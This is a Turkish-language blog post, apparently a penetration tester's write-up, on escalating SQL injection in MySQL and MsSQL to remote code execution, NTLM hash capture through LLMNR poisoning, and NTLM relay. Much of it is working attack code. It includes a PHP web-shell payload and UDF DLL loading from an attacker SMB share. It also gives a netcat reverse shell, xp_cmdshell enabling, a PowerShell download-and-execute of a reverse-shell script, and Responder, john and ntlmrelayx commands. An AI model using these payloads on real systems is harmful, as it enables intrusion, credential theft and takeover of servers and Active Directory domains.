SQL Injection to Different Attack Vectors (LLMNR Poisoning, NTLM Relay, RCE)

Merhabalar! Bu yazımda SQL Injection tespit edilen sistemler üzerinden LLMNR Poisoning ile nasıl NTLM hashi alınabileceğinden, yine SQL Injection üzerinden NTLM Relay tetiklenerek Active Directory ortamına gerçekleştirilebilecek saldırı senaryolarından bahsedeceğim.

Bir diğer örnek senaryoda; Elde edilen kullanıcı bilgileri ile MySQL veya MsSQL veri tabanlarına bağlanılabilmesi sonucunda ilgili veri tabanlarının komut satırları üzerinden işletim sistemi seviyesinde nasıl komut çalıştırılabileceğini, dolayısıyla sistemlerin admin kullanıcı yetkileri ile nasıl ele geçirilebileceğini örnek senaryolar üzerinden anlatmaya çalışacağım.

Öncelikle gerçekleştireceğimiz saldırı vektörleri hakkında ufak bir özet geçelim.

SQL Injection

Saldırganın kullanıcıdan alınan girdi (input) kısımlarına, kendi oluşturduğu zararlı SQL sorgularını enjekte ederek veri tabanında beklenmedik ve istenmedik durumlara yol açabildiği saldırılardır.

LLMNR Poisoning

Saldırgan, ağdaki erişim isteklerini dinlemeye başlar ve broadcast olarak ağa paketler gönderir. Kurban, ağda bulunmayan ve DNS sunucusu kayıtlarında olmayan bir cihaza erişim isteğinde bulunur. DNS sunucusundan, böyle bir kayıt olmadığına dair yanıt aldıktan sonra, kurban tarafından tüm ağa bu sunucuyu bilen birinin olup olmadığı sorulur. Tam o sırada saldırgan, bu isteğe yanıt verir. Kurban kimlik bilgilerini ve NTLMv2Hash değerini saldırgana iletir. Bu sayede saldırgan parola hash’ini ele geçirmiş olur.

NTLM Relay

NTLM Relay saldırısı, saldırgan istediği sunucu/bilgisayara bağlanırken, LLMNR zehirlemesinden yararlanmak suretiyle LLMNR poisoning yaptığı kullanıcının bilgilerini kullanması, bir nevi man in the middle tekniği kullanmasıdır. Bu saldırıyı resmetmek, anlamak açısından bize yardımcı olabilir.

LLMNR Poisoning, NTLM Relay ve Daha Fazlası

MySQL Injection to Different Attack Vectors

MySQLi to Remote Code Execution

MySQL çalışan veri tabanlarında SQL Injection tespit edilmesi durumunda SQLi’yi RCE’ye çevirebilmek için “INTO OUTFILE” fonksiyonu kullanılabilir. İlgili fonksiyon kullanılarak web sunucusu üzerinde zararlı bir .php dosyası oluşturulabilir.

Aşağıdaki örnek payload, SQL Injection’ın tetiklendiği parametre kısmına yerleştirilerek iletildiğinde sunucuya web shell yüklenebilir.

SELECT "<? echo passthru($_GET['cmd']); ?>" INTO OUTFILE '/var/www/shell.php'

Ayrıca MySQL veri tabanlarına erişim sağlanabilmesi durumunda User Defined Functions (UDF) ile zararlı .dll veya .so dosyaları veri tabanına yüklenerek veri tabanı üzerinden işletim sistemi seviyesinde komutlar çalıştırılabilir. Aşağıda ki github reposunda hazırladığım Windows OS için .dll, Linux OS için .so zararlı dosyalarına ve örnek saldırı senaryo komutlarına dair cheat sheet’i bulabilirsiniz.

https://github.com/koparmalbaris/MySQL-UDF-Exploitation

Windows işletim sistemi üzerinde çalışan bir MySQL veri tabanına erişim sağlanması durumunda sistemin ele geçirilebilmesi için hazırlamış olduğum örnek saldırı senaryosu ise aşağıdaki gibidir. Linux sistemlerine yönelik saldırı senaryosu için ise yukarıda belirtmiş olduğum github reposuna göz atılabilir.

select load_file('\\\\192.168.x.x\\share\\lib_mysqludf_sys_64.dll') into dumpfile "C:\\xampp\\mysql\\lib\\plugin\\udf.dll";
create function sys_bineval returns int soname 'udf.dll';
select sys_eval('whoami');
select sys_eval("net use X: \\\\192.168.x.x\\kali /user:kali kali");
select sys_eval("X:\\nc.exe -e cmd.exe 192.168.x.x 80");
nc -lvnp 80

MySQLi to get NTLM Hashes

MySQL çalışan veri tabanlarında SQL Injection tespit edilmesi veya direkt olarak MySQL veri tabanına erişim sağlanabildiği senaryolarda “LOAD_FILE” fonksiyonu kullanılarak bir SMB paylaşımına istek gönderilmesi sağlanabilmektedir. Responder ile dinlemeyi aktif ettikten sonra MySQL üzerinden var olmayan bir SMB paylaşımına istek gönderildiğinde LLMNR Poisoning tetiklendiği için ilgili kullanıcının NTLM Hash bilgileri elde edilebilmektedir.

responder -A -I tun0
select load_file('\\\\192.168.x.x\\bkoparmal');

Elde edilen bu kullanıcı NTLM hash değeri sıklıkla kullanılan parola ise crack araçları ile kırılarak clear-text parola elde edilmesi mümkün olabilir.

john hash -w=/usr/share/wordlists/rockyou.txt

MySQLi to NTLM Relay

MySQL üzerinden LLMNR Poisoning tetiklenebildiği senaryoda burada NTLM Relay saldırıları da gerçekleştirebilmemiz (Tabii ki SMB Signing’in kapalı olması gibi diğer bütün gereksinimler uygun olduğu durumda) mümkün olabiliyor. NTLM Relay ile birlikte MySQL veri tabanı üzerinden elde edilen kullanıcı hashi ile direkt olarak ilgili sunucuya veya hatta domain ortamında yer alan diğer sunuculara doğru saldırılar gerçekleştirilebilir.

NTLM Relay saldırıları ile sunuculardan SAM dosyalarının dump edilmesi, oluşturulan zararlı yazılımın hedef sunucularda çalıştırılarak reverse shell alınması gibi senaryolar ortaya çıkmaktadır.

NTLM Relay saldırısı için “responder.conf” dosyasında SMB, HTTP, HTTPS protokolleri off duruma getirildikten sonra responder çalıştırılır ve ardından NTLM Relay’i tetikleyecek olan impacket-smbrelayx çalıştırılır. Relay için NTLM Hashi kullanılan kullanıcı gerekli yetkilere sahip ise domain ortamında yer alan Domain Controller veya diğer sunuculara ilgili ataklar gerçekleştirilebilir.

impacket-smbrelayx -h <Victim IP> -e /root/Desktop/shell.exe

impacket-smbrelayx çalıştırıldıktan sonra aşağıdaki örnek komutlar MySQL veri tabanı üzerinden çalıştırılarak NTLM Relay tetiklenebilir.

select load_file('\\\\192.168.x.x\\bkoparmal');
select 'netspi' into dumpfile '\\\\192.168.x.x\\bkoparmal';
select 'netspi' into outfile '\\\\192.168.x.x\\bkoparmal';
load data infile '\\\\192.168.x.x\\bkoparmal' into table database.table_name;

MsSQL Injection to Different Attack Vectors

MsSQLi to Remote Code Execution

MsSQL çalışan veri tabanlarında SQL Injection tespit edilmesi durumunda SQLi’yi RCE’ye çevirebilmek için yani MsSQL veri tabanı üzerinden işletim sistemi seviyesinde komut çalıştırabilmek için çok bilinmekte olan “xp_cmdshell” fonksiyonu kullanılabilir. İlgili xp_cmdshell fonksiyonu sunucu üzerinde disable durumda ise ve MsSQL veri tabanına bağlanılabilmesi söz konusu değil ise HTTP istekleri üzerinden xp_cmdshell fonksiyonunu aktif hale getirmek zorlayıcı olabiliyor.

İlgili xp_cmdshell fonksiyonunun aktif hale getirilebilmesi için zafiyetin bulunduğu parametrede ilgili UNION değeri tespit edilmeli ve bu değerin içerisine xp_cmdshell’i aktif duruma getirecek SQL komutu eklenmelidir.

%3b+EXEC+sp_configure+'show+advanced+options',+1%3bRECONFIGURE%3bEXEC+sp_configure+'xp_cmdshell',+1%3b+RECONFIGURE%3b

Farklı bir senaryo olarak ise MsSQL veri tabanlarına erişim sağlanabilmesi durumunda MsSQL komut satırı üzerinden xp_cmdshell fonksiyonu aktif hale getirilerek veri tabanı üzerinden işletim sistemi seviyesinde komutlar çalıştırılabilir.

Fonksiyonun aktif hale getirilmesi:

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
reconfigure;

Fonksiyon üzerinden işletim sistemi seviyesinde komut çalıştırılması:

EXEC xp_cmdshell "whoami";
EXEC xp_cmdshell "dir C:\";
EXEC xp_cmdshell 'echo IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.5:1337/revershell.ps1") | powershell -noprofile';

MsSQLi to get NTLM Hashes

MsSQL çalışan veri tabanlarında SQL Injection tespit edilmesi veya direkt olarak MySQL veri tabanına erişim sağlanabildiği senaryolarda “xp_dirtree” fonksiyonu kullanılarak bir SMB paylaşımına istek gönderilmesi sağlanabilmektedir. Responder ile dinlemeyi aktif ettikten sonra MsSQL üzerinden var olmayan bir SMB paylaşımına istek gönderildiğinde LLMNR Poisoning tetiklendiği için ilgili kullanıcının NTLM Hash bilgileri elde edilebilmektedir.

SMB paylaşımına istek gönderecek olan SQL komutu, HTTP isteğinde ki zafiyetli parametreye eklenerek tetiklenebilir.

admin'; EXEC master.sys.xp_dirtree '%5c%5c192.168.x.x%5cfakesmbshare',1,1;--

MsSQL veri tabanlarına direkt olarak erişim sağlanabildiği senaryolarda MsSQL komut satırı üzerinden yine “xp_dirtree” fonksiyonu kullanılarak SMB paylaşımına istek gönderilmesi sağlanabilir. Responder ile dinlemeyi aktif ettikten sonra MsSQL üzerinden var olmayan bir SMB paylaşımına istek gönderildiğinde LLMNR Poisoning tetiklendiği için ilgili kullanıcının NTLM Hash bilgileri elde edilebilir.

EXEC master.sys.xp_dirtree '\\10.0.0.5\fakeshare';
EXEC master.dbo.xp_dirtree '\\10.0.0.5\fakeshare';

LLMNR Poisoning’in tetiklenerek ve kullanıcı hash bilgisinin elde edilmesi durumunda ilgili hash değerinin crack araçları ile kırılması denenebilir veya ilgili hash değerinin kullanılabileceği NTLM Relay saldırıları gerçekleştirilebilir.

MsSQLi to NTLM Relay

MsSQL üzerinden LLMNR Poisoning tetiklenebildiği senaryoda NTLM Relay saldırıları da mümkün hale geliyor. NTLM Relay ile birlikte MsSQL veri tabanı üzerinden elde edilen kullanıcı hashi ile direkt olarak ilgili sunucuya veya hatta domain ortamında yer alan diğer sunuculara doğru saldırılar gerçekleştirilebilir. (MySQL veri tabanlarında gerçekleştirilen NTLM Relay saldırı senaryoları ve atak vektörleri ile aynıdır.)

ntlmrelayx.py -tf <targetlist.txt> -smb2support -e reverse443.exe

Referanslar

[1]: SQL Wiki for Hackers

[2]: Blind RCE with MsSQL Injection

0x043

Yorum bırakın

WordPress.com'da bir web sitesi veya blog oluşturun

Yukarı ↑